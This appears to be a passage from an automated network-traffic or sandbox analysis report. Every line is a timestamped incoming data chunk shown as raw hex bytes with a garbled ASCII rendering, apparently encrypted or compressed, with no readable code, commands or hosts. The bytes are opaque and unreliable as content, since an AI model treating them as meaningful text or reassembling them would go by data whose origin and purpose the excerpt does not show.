2022-12-05 14:13:35 UTC	111	IN	Data Raw: 2b a6 f7 a0 44 5b b5 d6 67 b9 06 f7 e2 1c 0a f8 ef 78 b9 1c bf 62 7c ef 79 35 93 b4 e9 58 b8 b5 47 13 f4 b9 f2 7b b5 64 cc 45 dc 19 d0 5b 38 8f 0b 4b ee 53 d6 9c 9d c5 a0 21 91 60 ca 5f fd ec 9b 3d 44 43 d6 c7 0e 6c 6c 07 f9 de 7b 79 0a 49 c2 ee ae 4b 0d 76 12 fa e8 33 7c 72 e4 4b f7 98 ea 83 86 14 ab 5c fc 33 78 ca e0 98 b9 c8 1e ba 9c b2 01 5a 92 f6 e1 7d b6 bb 79 16 1e 33 d8 e3 7e f7 7e 78 4c 6d 45 08 73 e0 c2 45 36 61 f8 51 00 2a 79 7d b0 31 a1 c0 60 d8 32 56 7b 6a a8 e2 53 99 73 95 4a 38 f7 4a 5e e5 2c 17 f7 49 d7 d2 bc 42 d5 ce cb 0e 16 f3 48 96 f3 d8 da c1 60 17 ad df c8 7f 80 08 98 db fd a9 a3 51 2e 61 75 12 2c 19 19 df 4b 9c 65 8f fb f7 c3 fe 24 05 55 15 51 71 0d 27 d3 42 7f f2 81 f7 94 2a 56 55 11 ca 2e 77 ca f4 7f 68 9b f3 63 c8 35 fe 35 2a 94 Data Ascii: +D[gxb\|y5XG{dE[8KS!`_=DCll{yIKv3\|rK\3xZ}y3~~xLmEsE6aQy}1`2V{jSsJ8J^,IBH`Q.au,Ke$UQq'BVU.whc55*
2022-12-05 14:13:35 UTC	112	IN	Data Raw: c1 a4 2b 32 11 38 0b 64 d1 f3 66 a4 cc 74 7b 67 88 0d 34 66 67 ad a9 0d 57 8a 9a 55 fa fc 22 57 9a 09 42 5e cc 66 49 3a 3d 3d be af 64 51 f9 af db a0 39 cb a8 53 44 8e 25 e9 7b 33 64 cf cb 63 2e 15 28 8d c9 a2 bd 38 a1 b2 25 e7 c3 31 b1 a6 78 ae 99 5f ad 1d c7 ce f4 c3 40 06 c9 1c 17 0d 05 ea 43 c8 8a 26 0d b8 10 15 42 bd ed 86 a4 ab 4d 9a f1 8c 52 47 a3 83 3e 1b 44 9a bd 50 7b c2 98 39 4e 37 b3 97 c4 d4 c1 8b 9d 93 01 ba df b3 84 0d f7 4d e9 6c 37 6c 73 fd c8 10 ad 9f 4e 05 c1 36 12 9e 6e 5a 6b 94 89 6a 04 55 d7 47 7c 27 76 36 f6 05 95 9b 7d e5 ba d4 81 09 d3 da 81 39 82 1c d3 46 59 3a a8 08 87 fe 96 24 42 53 8b 67 76 20 c0 00 a8 30 b4 9f 6b f6 9b eb 9b 5a a1 c6 43 0c bd 73 a8 34 48 48 21 a1 5c 2f 82 48 23 25 3d 03 31 d2 9c 69 5e 06 eb f6 1f 71 4d 34 90 Data Ascii: +28dft{g4fgWU"WB^fI:==dQ9SD%{3dc.(8%1x_@C&BMRG>DP{9N7Ml7lsN6nZkjUG\|'v6}9FY:$BSgv 0kZCs4HH!\/H#%=1i^qM4
2022-12-05 14:13:35 UTC	114	IN	Data Raw: a4 b3 b1 66 0c fa 70 56 1d 9c 80 b0 b2 89 62 cb 72 7c 52 b3 31 6f bf e5 3e f1 dc 80 bc ab 8a 6a e8 89 5f 53 14 48 81 28 8d 9c 74 1e 44 c1 3e 3b 80 0d 0f 18 2f 75 77 ee f0 0c d0 1d c4 68 17 77 a8 08 49 e9 f6 20 9c bb 35 0d 07 7a 54 94 d5 c6 b0 63 e2 e2 4e 15 58 b9 78 b5 55 ed b7 75 a1 9c 26 7c fd 9f 67 93 84 1b 1d 87 94 b7 Data Ascii: fpVbr\|R1o>j_SH(tD>;/uwhwI 5zTcNXxUu&\|g
2022-12-05 14:13:35 UTC	114	IN	Data Raw: b7 4f c7 a9 11 d6 60 ab 4a e4 22 c0 de a0 f4 5b a1 4c 7d 5e 7a f8 54 44 cf 6b 05 e4 4a 0c 1b 1b 1e 4e 82 0c b8 cf cd 92 c8 93 f9 d1 08 8b 9d 9a e4 e2 9f 68 ff 5b 6c 05 73 05 93 f4 21 72 47 62 9b 9d 68 82 11 89 2f c1 a3 92 87 38 7a 15 8a cd 7c c1 b0 5c 79 cd f0 a5 c1 bb 50 3b d6 02 0d ac b9 d4 79 ff b0 4b 42 45 fb ef da 2d 12 3d 19 a0 ef 1f 2a f9 0d 21 94 cd b6 56 a8 40 5c be dd 47 b5 8e 65 64 aa f7 ec a3 87 f6 20 dc f5 48 44 9c 12 e2 e2 1a e2 9f 14 a2 7a b5 bb 74 45 72 16 03 36 c6 3f db 4d 11 ee dc c4 a0 d4 a2 ba 7d d9 f4 fb 04 25 2a 24 42 e1 76 04 0d b7 ad f0 d3 fe 8c c2 2e 9d ae 4e 97 d8 4f 99 c3 bb 1b 19 d7 0f 28 59 c3 42 40 77 0d 72 91 38 89 56 b8 10 1e d7 59 27 c5 aa 2c ac be 92 b6 24 64 be 43 72 c8 86 54 11 c3 fc ef fa 66 34 12 5e fe 9f dc bc 57 d3 Data Ascii: O`J"[L}^zTDkJNh[ls!rGbh/8z\|\yP;yKBE-=!V@\Ged HDztEr6?M}%$Bv.NO(YB@wr8VY',$dCrTf4^W
2022-12-05 14:13:35 UTC	115	IN	Data Raw: 94 09 9b 2a 8b 10 2e 20 1b 6b a8 69 9f a9 d1 f6 07 70 69 21 1c 26 68 9f 84 15 ea 4c 6d a8 52 77 be 31 c4 59 b1 56 f0 47 27 a2 a7 56 8a 43 01 a6 78 dd 87 15 08 74 71 c2 cc 83 c4 bd d7 84 cf 7e 81 a8 94 cc 6d 97 66 c1 f1 05 2c 54 ee 6e 69 10 7a 59 a2 32 de d6 2d 74 f3 e0 e5 ca eb ac 1f 32 97 dd 3f e5 b2 ff a5 b4 35 42 61 16 52 a1 cc 2a 1b d8 a2 9c 99 c9 04 ec b3 42 24 b2 82 65 be 76 a7 94 d0 02 b5 2d 3a 59 0a 65 00 03 d4 d6 a6 28 1f 66 33 3e 1b b6 c1 ed c6 6b 59 77 db fe c5 a9 43 ee bf 7d 2c ee 6b b7 34 7c 9b 31 37 62 2f 8f 02 32 ad 6b 26 59 9c d6 f1 13 47 a0 cc 61 c7 15 f4 70 b1 57 53 9c 30 d6 83 1d 6d 55 02 35 a0 b4 4d 12 04 0f a8 48 a4 d8 e4 6c d2 2d f8 9f d5 e7 28 01 2f 04 89 13 c5 59 0b e6 b2 55 64 a3 a3 7d 4e 84 82 ac 0f ae 34 3e b7 04 2a e6 f5 28 0a Data Ascii: . kipi!&hLmRw1YVG'VCxtq~mf,TnizY2-t2?5BaRB$ev-:Ye(f3>kYwC},k4\|17b/2k&YGapWS0mU5MHl-(/YUd}N4>*(
2022-12-05 14:13:35 UTC	116	IN	Data Raw: 2a 3b 83 a4 97 ef 0e da 93 bb 25 a0 5e 71 c1 b1 a2 ec cb 3f 36 8e 53 2f 69 f0 8e fe f1 12 af 09 97 c1 1c ca 60 4d f2 71 12 59 d3 0c 33 b8 00 2c e4 ff fa 30 8e 4b b5 bc 22 0d d7 86 4d 0b bf 2d 3a 35 85 a1 3c fc f9 2a db 80 0b d2 22 ef fb de 5f d6 72 e7 4f f7 d0 d5 4b b7 ad 86 ae 56 4a 0a 68 35 3d a7 63 48 de 81 2d 5c 65 b4 6c f3 96 09 76 7b 04 ec af 98 3a 93 1a 73 76 20 6b aa 91 06 f6 a5 96 41 b8 89 be 2d d6 5f e8 f0 48 9e 36 91 8c bc b4 4e 92 46 4e 90 6e 00 aa 3a 00 28 8e f7 5d 33 0d 38 8e e1 73 97 27 64 e4 5e 6d f4 0c 0d 96 3b 97 cf 92 c0 e5 dd db ec 0b 32 b9 35 74 09 56 b7 8a 23 a3 20 66 5e 5b 7f 2f ad 72 67 86 92 a1 5f 67 20 d5 18 26 00 11 12 e1 53 dc e0 5c eb 34 41 53 03 64 3c cc 96 e1 d8 e9 a5 17 62 56 3d 95 aa 81 3a 60 85 27 07 02 7a 93 ad 00 df fb Data Ascii: ;%^q?6S/i`MqY3,0K"M-:5<"_rOKVJh5=cH-\elv{:sv kA-_H6NFNn:(]38s'd^m;25tV# f^[/rg_g &S\4ASd<bV=:`'z
2022-12-05 14:13:35 UTC	117	IN	Data Raw: df 62 ec e8 8c 35 c7 33 e7 a1 f7 7e 63 ae 23 40 09 f3 55 60 1c bc ff 21 8d 1e 02 0d 89 b5 aa 28 d7 6c 7d 37 6e b5 c5 09 20 0c 25 f2 ec b4 6e c7 ba ed b4 96 82 12 73 7d fa b2 52 d8 f7 ec ce 9c db b6 8e 06 a9 57 13 d4 0f a6 8e 7b 18 8d 7f bd ab 27 0d f6 ca 80 dd 71 2e 03 f3 3c 18 b5 82 4f 48 e3 8c 9e b0 a0 fe ce 7b 02 03 22 65 a9 44 f5 48 37 49 e3 88 f7 8f 08 6c 97 ee 91 aa 8f 5a f7 1b 53 ef f1 62 56 91 9a 5f d2 8c 92 6c 8f ec ca 80 94 48 7f 63 c0 1c 2f 72 76 ae 5c cb 8a c2 f7 42 dc 18 7a eb 64 cb 02 01 be 45 92 88 ce b9 db a1 b2 50 56 08 80 db 54 35 71 57 21 ab 03 0a 02 30 a6 dc 1e 18 bf ae b8 7b ca 6d 6a e4 08 1d 55 6c 42 00 1a f8 1a 08 9e 46 fd c2 ca 47 c4 b2 8a 65 1f 58 fa 08 97 bb d8 69 84 24 58 39 34 c3 0a 6a 8b ff 58 e5 57 7c ea 4d 56 a1 60 1f 8c 95 Data Ascii: b53~c#@U`!(l}7n %ns}RW{'q.<OH{"eDH7IlZSbV_lHc/rv\BzdEPVT5qW!0{mjUlBFGeXi$X94jXW\|MV`
2022-12-05 14:13:35 UTC	119	IN	Data Raw: a0 36 22 1f 7e 46 58 48 38 f9 70 2f 6d 1c da f9 86 27 cb c3 59 5d 3a 87 71 fb 52 f9 c3 d6 45 1f af 0c 5e 51 a9 5d ee b5 d2 f3 ee 3f d8 07 b0 11 a3 88 84 27 b2 1e 5e d6 1e 02 44 16 8a b0 f8 0e 52 9e 8a 47 1c 31 93 06 00 89 45 0f e7 63 35 ac ad e1 58 e4 2d 79 03 aa c0 e8 94 b3 26 21 b8 57 a8 78 c2 3e c1 dd 06 33 ea 3f e9 c3 48 96 62 dc 10 93 12 55 91 8a b9 5c 9a 2f 00 96 c4 9b a3 07 66 63 5d 45 64 db a9 85 c8 14 92 fa 57 9c d9 98 44 aa 5a d6 d5 5d b8 d9 87 a8 1c 6f 7a 50 39 e2 6a 7d c2 61 2c 9f c7 bc 34 39 e6 27 17 1a 30 89 1b b4 08 96 47 51 25 0b 79 33 9c a5 03 13 b6 4a c3 7f a7 0f e1 08 c4 e9 0f ea bf b3 41 19 a1 57 f4 fe f7 dd 1f 95 ab 65 52 2c 50 0f d1 6e 31 7f e4 e9 b9 5e f5 a0 35 33 97 d2 b9 b4 24 ed 43 cd ae ea 38 28 32 5c 84 d6 90 bd 21 36 8e cf 49 Data Ascii: 6"~FXH8p/m'Y]:qRE^Q]?'^DRG1Ec5X-y&!Wx>3?HbU\/fc]EdWDZ]ozP9j}a,49'0GQ%y3JAWeR,Pn1^53$C8(2\!6I
2022-12-05 14:13:35 UTC	120	IN	Data Raw: a6 72 60 02 02 68 79 4a 0e 91 2c 49 fd 21 d3 78 b3 60 3d 48 af 86 b8 4e 97 81 8e 6a 2a ad 2a c3 5a c9 b4 7d 37 30 61 45 35 7b a3 92 46 79 e8 78 c4 c9 5f 0b 89 6c 78 75 ee 34 a7 36 ad 35 17 24 2f 63 bc ad 55 7c f1 42 ed 66 fe 1b cd a5 25 bf 6b f4 13 3f 88 e8 86 7f 8b cb 80 a5 bb 47 fd 9d 13 01 39 1a c2 c2 ba c7 94 37 8d f9 5c 0f c2 71 24 4d e9 6e e7 28 5b 9c de 3a 0c 01 a3 c5 ec 5a 3c e2 aa f4 6d ed f4 20 60 64 80 e7 ab a5 3e 6b 1d 5c 53 cf 90 d5 00 1d 9a b5 9d d4 88 03 f4 17 24 fa 66 ae ac d9 b7 fa 09 1c f3 ab b4 71 69 7c 4e d9 15 84 7a 8f ca 62 44 45 33 3d 9b 87 97 f9 07 52 4f d1 82 24 43 5a 81 33 e3 47 66 ec ff 51 a3 02 bc 78 2b 1e 22 02 5a 40 61 c4 20 d0 74 15 e9 3e 79 b4 30 a3 da 8e 42 53 aa 3e 1f b3 1a 48 78 41 f1 e8 96 3b 3a e8 12 e6 ca 77 69 d5 8e Data Ascii: r`hyJ,I!x`=HNj**Z}70aE5{Fyx_lxu465$/cU\|Bf%k?G97\q$Mn([:Z<m `d>k\S$fqi\|NzbDE3=RO$CZ3GfQx+"Z@a t>y0BS>HxA;:wi
2022-12-05 14:13:35 UTC	121	IN	Data Raw: d5 88 cd 2e a3 64 14 03 a4 58 d2 64 52 ef 6d 24 dc c6 3f f5 25 81 b6 2f c5 0f b9 6f 6f 01 9d d4 40 75 20 c4 51 99 58 ff e0 7f 25 6f 70 1a 75 c1 9e a7 a5 93 82 80 92 f5 93 18 7c e9 86 0e 27 2d 38 b5 d8 2c 57 70 27 00 07 d7 fd 06 49 51 10 d8 44 03 e8 11 24 ba ef 57 06 57 84 06 62 b9 c2 e6 25 2f eb dd 98 6c 4b 4b 3f e5 4a 92 c9 94 a8 1c 70 38 d7 5f 58 9f 3c 05 2e e3 db 4b 7b 6d db 07 40 e1 95 ef 9c 6a 5c b6 49 f2 eb 9b e3 dd cc 62 14 1a 6f 84 88 3c 4d 33 d4 cb ac ca c5 5b 9e b1 82 8b 1d 01 b5 76 9b 26 99 34 03 2f 8a b5 8f 81 36 4e 8b 47 81 58 a6 14 ac 47 7c f4 1c e9 17 21 3f 00 6a 2a 8f 66 57 c9 9d ff 16 44 91 de b4 ab 8b bc ec 62 3c 97 27 7c 9b 68 26 42 8e e3 fa 74 cc 8d 3f dc b4 41 0e 25 8a a2 0c e0 4a 56 6e 7b a7 af b7 81 11 13 53 29 6a f9 45 62 03 9a 6a Data Ascii: .dXdRm$?%/oo@u QX%opu\|'-8,Wp'IQD$WWb%/lKK?Jp8_X<.K{m@j\Ibo<M3[v&4/6NGXG\|!?j*fWDb<'\|h&Bt?A%JVn{S)jEbj
2022-12-05 14:13:35 UTC	122	IN	Data Raw: 2a 71 6f d3 02 63 26 5e 33 e2 6f 55 dc b4 1c 28 cd f4 a5 36 0b 1c d7 d6 24 c6 32 50 07 b8 a0 3d 0c 0c 27 54 0d 65 b0 3c 68 22 7b 6a 9a 9b 1a b1 e6 e1 43 96 1f b6 5d 45 fb 10 e8 d8 7f aa 63 4f 7d d9 c9 50 03 af 97 42 a2 e5 4d 91 c8 b0 0d 86 8a 0a 19 0c 3d 9b b5 26 8a 2c 66 d7 1d 33 9a a3 8a 70 af 92 d5 59 c9 d8 7a 75 bf 1e af 47 81 e3 d7 49 76 63 da 1d 64 d9 53 75 2c 85 13 6f 6b 9e 13 07 3a 73 5e 18 1d 62 90 63 30 b5 e6 da 62 66 d2 3a 39 06 1c b0 5d bf 56 de c1 c3 60 91 97 23 4b b5 c7 b3 4c 02 9f 43 89 d7 c5 37 fd 8f b5 68 dd 7e 4a 64 96 7f 8f c1 75 6f a0 53 5e 15 30 66 a5 b6 54 5b 87 8b 7f 6f a3 e3 94 d4 39 79 86 61 03 52 30 26 df 03 55 cf 29 a3 1f 11 3a a3 ae d3 ff 34 88 a6 db 26 bc b2 19 f1 f4 b8 2f 41 97 87 8b 14 68 02 f2 9c 6d df c1 54 ba f0 08 ce 84 Data Ascii: *qoc&^3oU(6$2P='Te<h"{jC]EcO}PBM=&,f3pYzuGIvcdSu,ok:s^bc0bf:9]V`#KLC7h~JduoS^0fT[o9yaR0&U):4&/AhmT
2022-12-05 14:13:35 UTC	123	IN	Data Raw: e0 03 b2 c2 13 9c c9 7d da bb 64 91 78 7f 4f 35 c3 89 6e d4 72 33 a7 68 54 52 b0 65 fb 81 2f ff d0 cb 0a 39 3f c5 ce 75 3a 7f ea a2 f9 b2 ba 95 55 ef cb 5b 2f 6f ab d6 14 4a 7e 65 6e fb c3 4d 0f 32 18 64 17 f3 15 6c 22 86 99 5d e4 bf dc 9a b2 06 90 39 35 5b de bb ee b0 53 61 92 4a 9b 23 80 7a 76 e8 9f 9c 34 8f 42 60 51 79 85 9a 66 56 c4 b8 10 f6 9d 02 75 ab f4 64 59 d6 fe 10 20 2b c7 33 14 ac 3d 91 6f 59 1c a4 ff d1 7c 76 c1 7c bb e9 2e e3 07 df 4c 26 99 36 d0 db 33 81 b6 cd d8 66 46 1c 5b 11 45 7b dd 39 71 77 8b 03 eb 46 f4 05 df 6d 78 43 0a 13 df 25 cb aa 41 0c 52 10 c0 11 4b df 1e ce a5 4e 07 a8 da 3d 11 be dc a9 51 2c 68 09 0b 20 4c e1 fe 81 21 5c 69 11 e7 e3 88 47 3c 55 f4 d8 d9 dd b0 9f 5c f6 3d 0a 68 41 f5 11 e2 50 ad d0 22 9e 21 bc 8e c8 5f 38 ff Data Ascii: }dxO5nr3hTRe/9?u:U[/oJ~enM2dl"]95[SaJ#zv4B`QyfVudY +3=oY\|v\|.L&63fF[E{9qwFmxC%ARKN=Q,h L!\iG<U\=hAP"!_8
2022-12-05 14:13:35 UTC	125	IN	Data Raw: 10 54 6d 36 cc 09 38 12 65 81 6c 46 cc 62 80 f2 49 de c0 b5 fb a8 7e 01 67 7c 7a 30 c0 17 83 58 1a 7c 3c a4 46 3b a7 55 38 c9 36 ce d3 37 10 2f 62 16 02 18 68 77 ae cf 48 ec b8 13 8c 03 97 9e 75 d5 75 4e 90 27 21 5c 50 34 f6 ff 92 bf 6a f6 dc 8c 87 a4 7e 6a 46 50 6e 53 65 6d 7c 52 97 aa 48 be 24 ca 0d 9b 1e dd 79 d6 cb 16 79 4e ec 78 ec 09 40 ab 46 0f d7 93 e7 9d 3c 78 3a 24 40 bb 6f f9 5c 4e f0 9a 21 a0 ef 04 a3 5c ce b3 3d 7a 5f 27 5c 40 3d f6 7e 2a 0e de 28 2e e8 e0 74 fd ea 15 07 c2 ff 26 e9 34 db 5b ed 62 b2 82 32 1f c5 32 be 1a c7 79 bd ac c7 84 9e ee 0b 53 88 ee 9b 08 12 fa 53 d5 9e 75 0b f4 f4 1c fc e8 67 10 30 f7 85 58 61 65 60 dd fd d6 fe 94 3a 0c 88 4e 31 ca 0e da c1 4c f4 2e 26 5d bc fa 66 df a2 54 5d 79 0c df 36 83 3f 69 f6 c8 aa cd 08 3f 0c Data Ascii: Tm68elFbI~g\|z0X\|<F;U867/bhwHuuN'!\P4j~jFPnSem\|RH$yyNx@F<x:$@o\N!\=z_'\@=~*(.t&4[b22ySSug0Xae`:N1L.&]fT]y6?i?
2022-12-05 14:13:35 UTC	126	IN	Data Raw: af 0d c5 e9 e8 02 06 75 79 53 2d 84 05 75 b3 b7 a0 49 49 2e 26 31 93 a4 27 c1 41 12 c0 05 a5 ee bb 51 47 21 c8 a3 7f 60 b7 c3 34 be 9a 1e 9d 54 98 00 43 d8 51 01 b8 a2 e9 82 0d d6 f3 f8 ab f5 ff cd e3 b5 a1 ac 94 5a 26 9e b1 91 25 13 ac db a2 f5 56 21 83 c9 69 65 3b cf b1 b4 ba 22 b3 68 ae 26 18 b4 a5 12 eb f2 42 70 22 c7 50 31 90 db 67 78 64 e2 d8 57 a0 82 d6 4b 23 cc 8a c7 2c d3 fd 1a 60 a0 ec 34 08 ae 5f c4 df f6 b8 19 41 ef 03 26 c0 64 0d 84 0f bf f5 51 b6 f0 01 1e ad de c3 58 4f 37 d6 2f 80 15 23 95 9e f9 16 a1 5b ac 42 00 d3 10 b1 74 66 5e 67 d4 f3 3c e3 7f 21 a8 0d 3f 58 68 1e 5b d9 5e 84 66 ae 6a 4b b3 a7 d7 db 3b 36 d8 66 07 f2 f7 c5 49 d6 5e d4 87 fb b7 0f ef f7 a7 ad 5c 9c d9 67 33 b5 97 0f 40 1f ed 16 5c ad f9 14 f7 1d 9f 04 44 4d 16 ff cf 90 Data Ascii: uyS-uII.&1'AQG!`4TCQZ&%V!ie;"h&Bp"P1gxdWK#,`4_A&dQXO7/#[Btf^g<!?Xh[^fjK;6fI^\g3@\DM
2022-12-05 14:13:35 UTC	127	IN	Data Raw: ee 8a a0 e8 e2 68 f7 13 61 53 e0 07 24 b9 93 20 9d ff 38 b3 99 d3 1d 56 64 76 f7 43 eb b5 a1 09 23 4c c0 ec 37 15 56 83 e0 f4 e2 63 4e 81 8d 98 7c c7 79 56 9d bd ca 7b f6 c8 09 eb 5a 4e c9 b0 04 3e 10 05 f4 fd 4f 15 3c 5c 3e dd 19 b3 97 6d c7 7a 76 21 6d 08 be 91 a0 7e fd bb bb 8e 83 5d 92 c9 2d 53 dd d5 77 6b 14 aa 6a b7 96 b2 42 00 1c 19 98 45 74 62 8f 6b 0d ba b7 c7 0f 6c 14 d7 13 1e a3 af 65 42 46 57 b6 c2 65 51 35 4f ec 13 e0 57 43 e8 26 54 c5 f1 18 49 45 cd d9 e4 b8 d8 57 86 fc b4 92 e5 3e 74 26 2c 8d b8 ea be 51 ed 20 7c c8 01 fc 1a 69 da 3b 67 00 2c a9 5f 91 5d d3 1d ff 3f 37 b0 c6 16 d4 fa 9f c4 3c 3d 9e 4a 18 1f 42 47 eb 79 81 28 42 a3 b9 dc 78 34 19 43 a4 3a 4d 03 b1 f7 a1 7f ea 96 79 53 0b 3c b7 00 ba 6f 82 2d 3b 11 45 b8 9b fd c8 cb c5 31 53 Data Ascii: haS$ 8VdvC#L7VcN\|yV{ZN>O<\>mzv!m~]-SwkjBEtbkleBFWeQ5OWC&TIEW>t&,Q \|i;g,_]?7<=JBGy(Bx4C:MyS<o-;E1S
2022-12-05 14:13:35 UTC	128	IN	Data Raw: 3b 76 95 ef 59 6f 1a 10 5a 9a 49 3b ad f5 a2 d4 17 b6 b7 51 a7 d5 03 b4 b4 95 d8 89 65 ce 4c d6 80 20 37 eb f1 83 05 27 d3 54 9f 6c 4b ba 5c 70 8e 30 38 c8 3f 2a e7 f5 c7 4d aa 5e 9c d6 13 40 82 55 7a eb 07 9f fc 9d 77 0d a0 4c 58 cf 28 84 75 9c 08 60 a2 f1 5c 4a 88 c6 8f 17 95 f4 17 c8 d6 f6 77 14 04 c8 60 e0 09 30 8b 54 9b df a3 8f cd 4a 9d 9e 0e f8 ef b9 ce 7e 3d 8b 11 ef 9a a7 91 16 b6 61 a3 a1 34 5c 7f 61 c7 ca 07 ed 59 19 8e 98 ed eb e1 1e 89 d7 54 75 e2 4c ff 72 70 12 9c de f5 6d 83 7f e4 95 b9 5c db 82 64 f0 f9 41 d7 2a ef f9 d7 3f 55 4e 65 a9 5a dc 3e af 22 73 a9 cb 0b 01 ec 54 7f c1 41 e5 3f 04 e4 0b c7 64 d7 a1 c9 e2 d9 5b 54 6a 83 82 5e 76 b6 ac b9 97 54 8b ca 73 d4 e0 6a 1e c0 bc bb 78 33 4d 1e 97 f1 22 a1 85 24 4b 07 82 9d 33 61 f0 30 f4 cf Data Ascii: ;vYoZI;QeL 7'TlK\p08?M^@UzwLX(u`\Jw`0TJ~=a4\aYTuLrpm\dA?UNeZ>"sTA?d[Tj^vTsjx3M"$K3a0
2022-12-05 14:13:35 UTC	130	IN	Data Raw: 41 de 15 65 7d 76 97 d3 6d c3 dc 05 fb 29 9c d8 a8 a4 e0 e8 86 81 58 96 25 1e 9c 94 74 e9 58 9e b0 08 e1 6e 38 c8 b5 c7 b6 04 7f 2d aa e5 19 bd 35 30 36 56 27 44 87 2c b0 a7 6c 8d df e7 63 9b 16 7b 24 a9 b1 c2 29 f0 ce e3 f2 27 a3 0a b8 8c 12 0b f1 1e fa 92 0c ce a3 98 82 42 ba 1b ee 54 55 88 87 1b aa f2 e2 2c d2 9a 4c fd Data Ascii: Ae}vm)X%tXn8-506V'D,lc{$)'BTU,L
2022-12-05 14:13:35 UTC	130	IN	Data Raw: 51 a4 c3 f5 db 3a 8e 34 72 0f 70 e6 82 73 1a 84 99 c8 fd 3a a1 6e 7f 1f 33 a1 e5 72 c0 4b c8 f6 3e e7 c9 63 cb 0f 70 c8 e3 c7 3e cd 89 1b fc ed 75 9a 34 b2 86 50 07 ee df b8 38 9d ec 7b bb ec 90 b1 6f 5a a5 ce 95 3d f8 08 ee 3c 31 6e 06 cb 1a 5a e5 62 f8 7d 32 f1 2a a6 7f 6e 7d dc 88 5d 4a d5 4c 4a f2 2c 33 5b 08 56 91 e9 3d a1 3f df 12 c9 76 c2 50 2f c2 77 e6 e1 d9 34 9e 8a e5 ac 61 09 ea 00 40 96 3d 6f cc 3e b6 ed 75 15 7b f2 b7 71 aa da 27 ad ca d3 92 93 05 94 de a5 74 d7 27 d9 cb a5 91 f0 e1 f1 51 91 35 6c ce 16 ef 1e ec d0 0f 22 52 bf 65 6a f6 8f 6a 85 b4 cb 7a db af a6 44 25 4b 51 2e ed 6e 6d 48 00 f3 c2 43 3a 75 87 de 1e b9 f8 ee f2 5a f6 64 7b e8 52 9d 2d e2 02 51 1f 8f 79 ac 60 c3 a2 db 86 38 52 61 68 42 b3 da b4 02 85 5b 0b 4c 4d 40 ec b7 b2 2b Data Ascii: Q:4rps:n3rK>cp>u4P8{oZ=<1nZb}2*n}]JLJ,3[V=?vP/w4a@=o>u{q't'Q5l"RejjzD%KQ.nmHC:uZd{R-Qy`8RahB[LM@+
2022-12-05 14:13:35 UTC	131	IN	Data Raw: 1e 77 e7 35 78 b7 77 27 9e 9a a2 c4 5e 43 1c 94 d2 22 db 95 5b fa 46 96 22 60 3d 0c 18 8f 81 cc 96 d6 a9 4f 7c 86 ce 0f 06 ab d2 ae b1 a3 6d 26 d2 f7 f1 f4 3d 87 ca 6f 8e 02 90 cf 62 bd f4 96 b1 cc f1 ca b3 97 02 cc fd 19 ca d5 7b cb 0e 17 a7 9b 74 a2 65 50 56 05 47 6d ac e5 5b a7 58 a6 5e 6c 8b 6d 21 4f 91 0e ec 2c ec 87 2f 6a 90 01 54 c9 7f 83 b4 17 ad 3c 20 81 06 f3 99 4f 3d d5 4b 85 ad c1 5d 63 c9 0a a2 da 51 31 da 02 dd 63 63 b5 03 89 d1 3a fc fd b2 66 c2 76 06 2a 40 98 0a c5 af de 00 c2 89 f1 aa 66 ae 39 58 ec 0f 73 44 91 5b 58 0e 0b f2 92 33 4b bd 07 da 73 19 fa cf ea 2f 4d 29 b2 5c 81 85 63 e0 ae 2a fc 59 27 72 f7 f8 fc df 02 30 8e d1 a6 b4 3b d0 c0 8a 65 ab fa a6 bd e0 c5 77 1e 6c 19 10 6c fe 3e e7 34 7b 8d 6b c1 bc 7a 28 fb 3e d9 2e 65 be e3 8f Data Ascii: w5xw'^C"[F"`=O\|m&=ob{tePVGm[X^lm!O,/jT< O=K]cQ1cc:fv@f9XsD[X3Ks/M)\cY'r0;ewll>4{kz(>.e
2022-12-05 14:13:35 UTC	132	IN	Data Raw: 22 76 27 61 1c 00 d8 20 9a 1b 9d 63 73 b4 e1 05 29 30 55 5f b5 3c 19 3e d8 4b 6e 3b b3 12 4f c5 7e dc c0 d3 9d 44 d3 03 4f fd 81 d9 76 5c 9d bb ad 97 a7 9d 3f 1f da 46 61 63 9a a0 5e ba 2d ed 04 fa 6c c8 57 b9 fa 92 66 24 dc 84 b9 eb 8e 1f dd 80 4f a1 54 66 4f d4 79 75 a3 a9 72 05 5c 09 56 b8 aa 70 f8 2b 68 52 01 37 38 c6 91 4c 4e c2 c1 85 83 f7 6f f9 fd dc 0b b3 1d bc 1c 46 5d 15 ae 14 52 bb 20 98 af 17 26 a3 44 2e 7b 2f e1 71 07 bc f3 99 fd 38 f1 98 9b 26 72 1d 09 d6 7c af 6f e5 7e b3 a7 20 bc e2 90 8a ea 2e 05 3a b5 0a e9 d1 42 92 18 65 9c b7 c4 92 e2 09 3a ab 82 01 a1 7c fb c2 fd 19 24 60 44 51 df ec 00 ed 45 66 2b ac 9b 3c 65 9c 73 13 44 51 41 d5 b1 e0 e8 39 30 76 f9 cd ba 67 a4 59 36 d9 a2 da 2c 56 09 b8 61 ef f1 0a 51 35 85 2c b2 f0 3a e0 32 2c df Data Ascii: "v'a cs)0U_<>Kn;O~DOv\?Fac^-lWf$OTfOyur\Vp+hR78LNoF]R &D.{/q8&r\|o~ .:Be:\|$`DQEf+<esDQA90vgY6,VaQ5,:2,
2022-12-05 14:13:35 UTC	133	IN	Data Raw: 03 79 9d 0a 35 77 9b 98 34 4f f7 2d 96 3f 05 bf 5e ef 99 16 a1 ea 25 65 db b7 06 47 8a e6 11 4b 42 5d e8 7d e6 3d 62 3e 11 6c 36 1e ec 1c 9e 28 66 43 00 8a 60 2f cf d5 a8 3d c9 8b 20 b5 aa 44 50 15 01 ee bb 39 ce e3 c8 a9 02 37 58 17 24 06 74 d5 39 59 07 ab 12 56 86 8f 80 2f 2c 17 05 b7 84 f9 1f 08 1c 3b 7b ab 78 70 66 43 29 4c 00 5b c8 aa da 2e 96 7c bc 8d 25 78 0d 3f 16 60 a9 46 ff fa e4 ac 9e 2b 8c f8 bd e4 4c 19 f1 ff d7 ea 49 bc c6 4a 7e 37 e5 b3 9b 00 b9 7c eb 34 7d 90 56 02 44 f6 6d 56 91 3d 18 24 b7 35 44 6c 6b 5f b7 0b c2 c8 8b ec 5e 6a c7 fe 98 ce f5 a9 3b 2f f9 6f d4 79 de 4d 7c 6f af 53 a6 78 f9 28 ce bf eb 74 77 8a 6e c6 d2 56 87 04 65 2d 5b a4 69 92 d5 e5 48 f9 30 2f 8a 18 07 c9 6a b7 92 75 18 3c 5a ad 07 99 f3 91 e7 d6 6b 87 33 43 44 4c d2 Data Ascii: y5w4O-?^%eGKB]}=b>l6(fC`/= 